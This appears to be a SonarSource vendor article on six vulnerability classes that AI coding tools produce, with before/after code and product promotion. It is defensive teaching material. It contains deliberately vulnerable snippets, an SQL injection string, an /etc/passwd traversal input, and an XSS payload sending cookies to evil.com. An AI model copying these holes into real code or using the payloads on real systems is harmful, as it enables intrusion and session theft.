Learn article

The top 6 security vulnerabilities AI coding tools introduce (and how to catch them)

Table of contents

  • Chevron right iconWhy AI tools write insecure code
  • Chevron right iconHow SonarQube catches all six risks

Start your free trial

Verify all code. Find and fix issues faster with SonarQube.

开始使用

AI coding tools generate functional code fast. They also reproduce insecure patterns from their training data just as fast. Sonar’s LLM Leaderboard found that the Claude Opus 4.6 Thinking model introduced a whopping 64 blocker-severity vulnerabilities per MLoC, and Sonar’s 2026 State of Code survey of 1,100+ developers confirmed the gap: 96% don’t fully trust AI-generated code, yet only 48% always verify it before committing.

The security vulnerabilities aren’t exotic. They’re the same injection flaws, credential leaks, and cryptographic mistakes that have topped the OWASP Top 10 for years. What’s changed is the volume. AI tools produce these patterns at a scale that manual code review can’t match.

This article maps the six most common security vulnerability classes AI tools introduce to the specific SonarQube rules that catch them. Each section includes real before/after code so you can recognize these patterns in your own codebase. All examples are selected from a sample application that was generated by an AI agent. A scan of this code in SonarQube Cloud revealed a pretty rough analysis:

Why AI tools write insecure code

Large Language Models (LLMs) learn to code from open-source repositories, Stack Overflow answers, tutorials, and legacy codebases. That training data is full of security flaws and bugs. Sonar’s SonarSweep research measured the impact directly: LLMs fine-tuned on cleaned training data produced up to 67% fewer security vulnerabilities and up to 42% fewer bugs compared to models trained on un-swept data.

LLMs are probabilistic systems, which means that even when a model has learned secure coding patterns, it won't reliably choose them over insecure alternatives on every generation. The same prompt can produce parameterized queries one time and string concatenation the next. Here are six of the most common vulnerability classes that result.

1. SQL injection

Rule: pythonsecurity:S3649 Severity: Blocker CWE-89 — Improper Neutralization of Special Elements used in an SQL Command

When you ask an AI tool to build a database query endpoint, it reaches for string concatenation:

@app.route("/api/tasks")

def get_tasks():
    status = request.args.get("status", "")
    assignee = request.args.get("assignee", "")

    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()

    query = "SELECT * FROM tasks WHERE status = '" + status + "'"
    if assignee:
        query += " AND assignee = '" + assignee + "'"

    cursor.execute(query)
    rows = cursor.fetchall()
    conn.close()

    tasks = [{"id": r[0], "title": r[1], "status": r[2], "assignee": r[3]} for r in rows]
    return {"tasks": tasks}

The code looks clean. Variable names are reasonable, the structure is logical, and it works for normal inputs. But an attacker can pass ' OR '1'='1' -- as the status parameter and dump the entire table.

The fix is parameterized queries:

@app.route("/api/tasks", methods=["GET"])

def get_tasks():
    status = request.args.get("status", "")
    assignee = request.args.get("assignee", "")

    conn = sqlite3.connect(DB_PATH)
    cursor = conn.cursor()

    if assignee:
        cursor.execute(
            "SELECT * FROM tasks WHERE status = ? AND assignee = ?",
            (status, assignee),
        )
    else:
        cursor.execute("SELECT * FROM tasks WHERE status = ?", (status,))

    rows = cursor.fetchall()
    conn.close()

    tasks = [{"id": r[0], "title": r[1], "status": r[2], "assignee": r[3]} for r in rows]
    return jsonify({"tasks": tasks})

AI tools default to string concatenation because it appears constantly in tutorials and legacy code. The generated code follows a reasonable pattern. The security flaw is invisible at a glance.

2. Reflected XSS

Rule: pythonsecurity:S5131 Severity: Blocker CWE-79 — Improper Neutralization of Input During Web Page Generation

Ask an AI tool to “build a search page” and it reaches for f-strings:

@app.route("/search")
def search():
    query = request.args.get("q", "")
    results = perform_search(query)

    html = f"""
    <html>
    <head><title>Search Results</title></head>
    <body>
        <h1>Results for: {query}</h1>
        <ul>
    """
    for result in results:
        html += f"<li>{result['title']}</li>"
    html += """
        </ul>
    </body>
    </html>
    """
    return make_response(html)

F-strings are the idiomatic Python way to build strings. The AI doesn’t distinguish between building a log message and building an HTML response. A search query like document.location='https://evil.com/steal?c='+document.cookie executes as a script in the browser.

Jinja2’s auto-escaping exists for exactly this case:

SEARCH_TEMPLATE = """
<html>
<head><title>Search Results</title></head>
<body>
    <h1>Results for: {{ query }}</h1>
    <ul>
    {% for result in results %}
        <li>{{ result.title }}</li>
    {% endfor %}
    </ul>
</body>
</html>
"""

@app.route("/search", methods=["GET"])
def search():
    query = request.args.get("q", "")
    results = perform_search(query)
    return render_template_string(SEARCH_TEMPLATE, query=query, results=results)

The AI skips Jinja2 because inline HTML with f-strings requires fewer imports and less boilerplate. Fewer lines of code, but a direct path to session hijacking.

3. Path traversal

Rule: pythonsecurity:S2083 Severity: Blocker CWE-22 — Improper Limitation of a Pathname to a Restricted Directory

AI tools love os.path.join. It’s the standard Python API for building file paths, so they use it everywhere:

@app.route("/files/<path:filename>")

def download_file(filename):
    file_path = os.path.join(UPLOAD_DIR, filename)
    return send_file(file_path, as_attachment=True)

@app.route("/reports")
def get_report():
    report_name = request.args.get("name")
    report_path = os.path.join("reports", report_name)
    with open(report_path, "r") as f:
        content = f.read()
    return make_response(content, 200, {"Content-Type": "text/plain"})

os.path.join does not validate that the resulting path stays within the intended directory. An input like ../../../../etc/passwd escapes the sandbox entirely.

Flask’s send_from_directory rejects path traversal attempts by design:

@app.route("/files/<path:filename>", methods=["GET"])
def download_file(filename):
    return send_from_directory(UPLOAD_DIR, filename, as_attachment=True)


@app.route("/reports", methods=["GET"])
def get_report():
    report_name = request.args.get("name")
    return send_from_directory("reports", report_name)

send_from_directory appears far less often in training data than os.path.join + send_file, so AI tools rarely reach for it. The secure API is also the simpler one, but frequency in training data wins over simplicity.

4. Hardcoded secrets

Rules: python:S6418, javascript:S6418 Severity: Blocker CWE-798 — Use of Hard-coded Credentials

AI assistants generate realistic-looking placeholder credentials because they’re trained on code that contains them:

api_key = "ak-9f8e7d6c5b4a3210fedcba9876543210abcdef01"


const DB_API_KEY = "sk-proj-Ax7mK9pL2qR4sT6uV8wX0yZ1aB3cD5eF";

The generated values look like real API keys: high entropy, plausible prefixes like sk-proj-. Developers copy them directly. The AI doesn’t add a TODO comment or a .env file reference because the prompt didn’t ask for one.

api_key = os.environ.get("ANALYTICS_API_KEY", "")


const DB_API_KEY = process.env.DB_API_KEY || "";

SonarQube flags these via rule S6418 so hardcoded secrets are caught before they can be merged.

5. Server-side request forgery

Rule: pythonsecurity:S7044 — server-side requests should not be vulnerable to traversing attacks Severity: Major CWE-918 — Server-Side Request Forgery (SSRF)

API proxy endpoints are a common request in AI-assisted development. The AI generates the proxy by concatenating user input directly into the upstream URL:

@app.route("/api/analytics/<path:endpoint>")
def proxy_analytics(endpoint):
    upstream_url = ANALYTICS_BASE_URL + "/" + endpoint
    headers = {"Authorization": f"Bearer {api_key}"}

    response = requests.get(upstream_url, headers=headers)
    return make_response(response.content, response.status_code)

An attacker can inject path traversal sequences to hit endpoints on the analytics server that the proxy was never meant to expose, including admin actions, while forwarding your service's authorization header.

S7044 catches cases where an attacker manipulates a path segment within a base URL to reach unintended endpoints on the same upstream server. The allowlist restricts which path values are accepted, blocking traversal attempts before the request is sent.

The fix combines an allowlist with URL encoding:

ALLOWED_ANALYTICS_ENDPOINTS = {"dashboard", "summary", "trends", "users"}

@app.route("/api/analytics/<path:endpoint>", methods=["GET"])
def proxy_analytics(endpoint):
    if endpoint not in ALLOWED_ANALYTICS_ENDPOINTS:
        return jsonify({"error": "Invalid endpoint"}), 400

    upstream_url = ANALYTICS_BASE_URL + "/?endpoint=" + quote(endpoint)
    headers = {"Authorization": f"Bearer {api_key}"}

    response = requests.get(upstream_url, headers=headers)
    return make_response(response.content, response.status_code)

This is the most underrated vulnerability class in AI-generated code. Developers focus on the SQL injection and XSS patterns they learned about in school. SSRF attacks against internal services don’t get the same attention.

6. Insecure cryptography

Rules: javascript:S4790, python:S4790 Security Hotspot CWE-1240 — Use of a Risky Cryptographic Primitive

MD5 and SHA-1 dominated cryptographic code for decades, which means they dominate AI training data too. Ask an AI to “hash a password” or “generate a checksum” and you get:

const passwordHash = crypto
  .createHash("sha1")
  .update(password)
  .digest("hex");

const token = crypto.createHash("md5").update(Date.now().toString()).digest("hex");


file_hash = hashlib.md5(content).hexdigest()

The AI doesn’t distinguish between hashing a file for deduplication (where MD5 is acceptable) and hashing a password for storage (where it’s catastrophically weak). Both patterns look identical in the training data.

For passwords, use bcrypt. For integrity checks, use SHA-256 at minimum:

const bcrypt = require("bcrypt");

const passwordHash = await bcrypt.hash(password, 12);

const token = crypto.randomBytes(32).toString("hex");


file_hash = hashlib.sha256(content).hexdigest()

SonarQube surfaces these as security hotspots, prompting a manual review to determine whether the weak algorithm is used in a sensitive context. In the case of password hashing and session token generation, the answer is always yes.

How SonarQube catches all six risks

The six vulnerability classes split into two detection strategies.

Taint analysis tracks user input from its source (HTTP request parameters, form data, file uploads) through the code to a dangerous sink (SQL query execution, HTML rendering, file system access, outbound HTTP request). SQL injection, reflected XSS, path traversal, and SSRF all rely on taint analysis. SonarQube traces the full data flow and reports the exact path from source to sink.

Semantic analysis identifies known-bad code constructs regardless of data flow. Hardcoded secrets and insecure cryptography don’t require taint tracking. SonarQube’s analysis engine understands code structure and can recognize high-entropy string literals assigned to variables with names like secret and token (amongst others), and flag calls to md5() or sha1() in security-sensitive contexts for review.

Both detection strategies feed into the quality gate, SonarQube’s pass/fail checkpoint. If new code introduces issues that break your quality gate conditions, the quality gate fails. When you wire that gate into your CI and repository protections, failed gates prevent the pull request from merging.

AI Code Assurance adds another layer. For projects containing AI-generated code, you apply an AI-qualified quality gate (such as Sonar way for AI Code) and strict quality profiles, so AI-generated code has to clear a higher bar for security and maintainability before it can be merged.

After going through and making all of the fixes to the AI generated code, a new scan in SonarQube Cloud (triggered via a GitHub PR) revealed a much more secure version of the code base:

What’s next

For a deeper walkthrough on configuring quality gates and AI Code Assurance specifically for AI-generated code, see How to optimize SonarQube for reviewing AI-generated code.

To catch these vulnerabilities before they merge, install SonarQube for IDE in VS Code, Cursor, or IntelliJ. In Connected Mode, taint analysis results from the server surface directly in your editor, flagging injection flaws and insecure patterns.

Start scanning for free with SonarQube Cloud.

  • Follow SonarSource on Twitter
  • Follow SonarSource on Linkedin
language switcher
简体中文 (Simplified Chinese)
  • 法律文件
  • 信任中心

© 2025 SonarSource Sàrl。版权所有。